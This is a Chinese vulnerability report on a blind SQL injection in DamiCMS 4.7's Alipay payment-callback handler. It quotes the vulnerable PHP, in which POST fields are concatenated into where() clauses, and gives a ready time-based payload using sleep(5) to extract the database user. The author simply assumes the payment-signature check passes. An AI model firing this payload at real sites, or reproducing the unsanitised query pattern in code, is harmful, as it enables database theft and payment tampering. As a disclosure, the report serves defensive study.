### 简要描述:
大米CMS最新版4.7,SQL盲注
### 详细说明:
大米CMS最新版4.7,SQL盲注,绕过防御
文件/Web/Lib/Action/PublicAction.class.php:
```
//在线充值或在线订单处理
function shouquan(){
$ap_path = (intval(C('AP_TYPE'))==1?'ap_jishi':'ap_danbao');
require_once("./Trade/{$ap_path}/alipay.config.php");
require_once("./Trade/{$ap_path}/lib/alipay_notify.class.php");
//计算得出通知验证结果
$alipayNotify = new AlipayNotify($alipay_config);
$verify_result = $alipayNotify->verifyNotify();
//if($verify_result) {//验证成功
if(!$verify_result) {//假设这里验证成功
//商户订单号WIDout_trade_no
$out_trade_no = $_POST['out_trade_no'];
//支付宝交易号
$trade_no = $_POST['trade_no'];
//交易状态
$trade_status = $_POST['trade_status'];
$total_fee = $_POST['total_fee'];
if($_POST['trade_status'] == 'WAIT_BUYER_PAY') {
//该判断表示买家已在支付宝交易管理中产生了交易记录,但没有付款
//判断该笔订单是否在商户网站中已经做过处理
//如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
//如果有做过处理,不执行商户的业务程序
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',0);
logResult('等待买家付款!');
echo "success"; //请不要修改或删除
}
else if($_POST['trade_status'] == 'WAIT_SELLER_SEND_GOODS') {
//该判断表示买家已在支付宝交易管理中产生了交易记录且付款成功,但卖家没有发货
//判断该笔订单是否在商户网站中已经做过处理
//如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
//如果有做过处理,不执行商户的业务程序
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',1);
logResult('已付款,等待发货!');
echo "success"; //请不要修改或删除
//调试用,写文本函数记录程序运行情况是否正常
//logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
else if($_POST['trade_status'] == 'WAIT_BUYER_CONFIRM_GOODS') {
//该判断表示卖家已经发了货,但买家还没有做确认收货的操作
//判断该笔订单是否在商户网站中已经做过处理
//如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
//如果有做过处理,不执行商户的业务程序
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',2);
logResult('已发货,等待收货!');
echo "success"; //请不要修改或删除
//调试用,写文本函数记录程序运行情况是否正常
//logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
else if($_POST['trade_status'] == 'TRADE_FINISHED' || $_POST['trade_status'] == 'TRADE_SUCCESS') {
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',3);
$trade_type = substr($out_trade_no,0,2);
if($trade_type == "CZ"){
$arr = explode("-",$out_trade_no);
if(count($arr)==2){
$uid = intval($arr[1]);
if($uid>0){
M('member')->where('uid='.$uid)->setInc('money',$total_fee);
//logResult(M('dami_common_member',null)->getLastSql().'<BR>');
$data['uid'] =$uid;
$data['addtime'] = time();
$data['price'] =$total_fee;
$data['trade_no'] = $out_trade_no;
$data['remark'] = "用户充值";
$data['log_type'] = 0;
M('money_log')->add($data);
//logResult(M('money_log')->getLastSql().'<BR>');
}
}
}
//退款退货相关
else if($_POST['refund_status'] == 'WAIT_SELLER_AGREE'){
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',7);
}
else if($_POST['refund_status'] == 'WAIT_BUYER_RETURN_GOODS'){
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',8);
}
else if($_POST['refund_status'] == 'REFUND_SUCCESS'){
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',9);
}
else if($_POST['trade_status'] == 'TRADE_CLOSED'){
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',10);
}
else{
logResult($out_trade_no.'<BR>');
}
//该判断表示买家已经确认收货,这笔交易完成
//判断该笔订单是否在商户网站中已经做过处理
//如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
//如果有做过处理,不执行商户的业务程序
logResult('交易完成!');
echo "success"; //请不要修改或删除
//调试用,写文本函数记录程序运行情况是否正常
//logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
else {
//其他状态判断
logResult('其他状态!');
echo "success";
//调试用,写文本函数记录程序运行情况是否正常
//logResult ("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
//——请根据您的业务逻辑来编写程序(以上代码仅作参考)——
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
}
else {
//验证失败
logResult('验证失败<BR>');
echo "fail";
//调试用,写文本函数记录程序运行情况是否正常
//logResult("这里写入想要调试的代码变量值,或其他运行的结果记录");
}
}
```
先看这里:
```
$verify_result = $alipayNotify->verifyNotify();
```
这里的$verify_result就是在支付时进行验证的结果
正常情况下,使用这里的支付时,这里肯定是验证成功的
所以这里的$verify_result应该是返回True的
所以这里我们假设$verify_result=True
当验证成功后,进入到下面:
```
$out_trade_no = $_POST['out_trade_no'];
//支付宝交易号
$trade_no = $_POST['trade_no'];
//交易状态
$trade_status = $_POST['trade_status'];
$total_fee = $_POST['total_fee'];
if($_POST['trade_status'] == 'WAIT_BUYER_PAY') {
M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',0);
logResult('等待买家付款!');
echo "success"; //请不要修改或删除
}
```
POST的内容直接进入了where条件中
在where条件中,字符串是不做处理的,导致sql漏洞产生
继续下面的内容,同样产生大量的sql注入
### 漏洞证明:
发送请求:
```
http://localhost/dami/index.php?s=/Public/shouquan.html
out_trade_no=111' %26%26 CASE WHEN(mid((user()) from 1 for 1)=char(114)) THEN sleep(5) ELSE (0) END%23&trade_status=WAIT_BUYER_PAY
```
这里会延时5秒返回:
[<img src="https://images.seebug.org/upload/201412/20220417c2819ceaaf66b3394f41fa0efbd9a79a.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20220417c2819ceaaf66b3394f41fa0efbd9a79a.png)
看看数据库执行记录:
[<img src="https://images.seebug.org/upload/201412/20220425ee218e2dc46c8fd46b4362c932b8d7f0.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20220425ee218e2dc46c8fd46b4362c932b8d7f0.png)
暂无评论